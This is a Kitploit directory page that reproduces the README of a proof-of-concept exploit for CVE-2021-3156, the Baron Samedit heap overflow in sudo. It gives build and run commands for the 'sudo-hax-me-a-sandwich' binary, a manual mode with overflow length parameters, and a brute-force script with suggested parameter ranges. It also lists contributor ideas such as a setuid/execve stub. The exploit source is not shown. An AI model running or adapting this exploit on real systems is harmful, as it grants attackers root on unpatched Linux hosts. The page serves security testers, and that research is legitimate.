Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3156 | Kitploit
Tools/GitHubGitHub/exodusro/cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubexodusro/cve-2021-3156

CVE-2021-3156

View Repository
5 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3156 PoC

Introduction

This is an exploit for the CVE-2021-3156 vulnerability in sudo (dubbed Baron Samedit by Qualys).

Usage

build:

root@kitploit:~
$ make

target list:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich

run:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich <target_number>

manual mode:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Brute force target detection (experimental)

Make sure you have GNU parallel installed.

root@kitploit:~
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

some patterns to try:

root@kitploit:~
$ ./brute.sh 90 120 50 70 150 300

It will consume all available cores. Do not try to netflix & brute.

Contributing

Contribute to the repository Submit a (sensible) PR, I can merge. Leave a star

Some ideas:

  • More targets
  • Target localization
  • Other exploitation strategies
  • More standalone functionality:
    • Incorporate the shared library hax.c (please minimize, ELF golf + asm setuid / execve stub)
    • Add mkdir logic to hax.c
  • Directory / shared library cleanup
Download Tool